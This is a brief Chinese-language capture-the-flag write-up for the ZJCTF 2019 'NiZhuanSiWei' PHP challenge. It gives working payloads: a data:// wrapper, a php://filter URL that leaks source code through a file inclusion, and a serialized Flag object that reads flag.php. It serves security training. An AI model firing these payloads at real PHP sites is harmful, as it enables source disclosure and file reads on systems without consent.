[ZJCTF 2019]NiZhuanSiWei

审题

看到可以传入file，text，和password三个参数。

知识点

php伪协议，反序列化

解题

1. 传入text，看到有file_get_content函数，这个函数表示读取$text文件里的值，返回字符串。

   所以要传入text的为一个文件值，所以使用data协议写入参数。

   text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
   

2. 看到include_once，是文件包含，使用php://filter伪协议将useless.php中的内容读取出来

   file=php://filter/convert.base64-encode/resource=useless.php
   

3. 读出的内容为

   <?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
   }  
   ?>  

4. 传入password，看到反序列化，

   构造
   <?phpclass Flag{  public $file='flag.php';}$a=new Flag;echo serialize($a) ;
   ?>
   

5. 传入得到flag。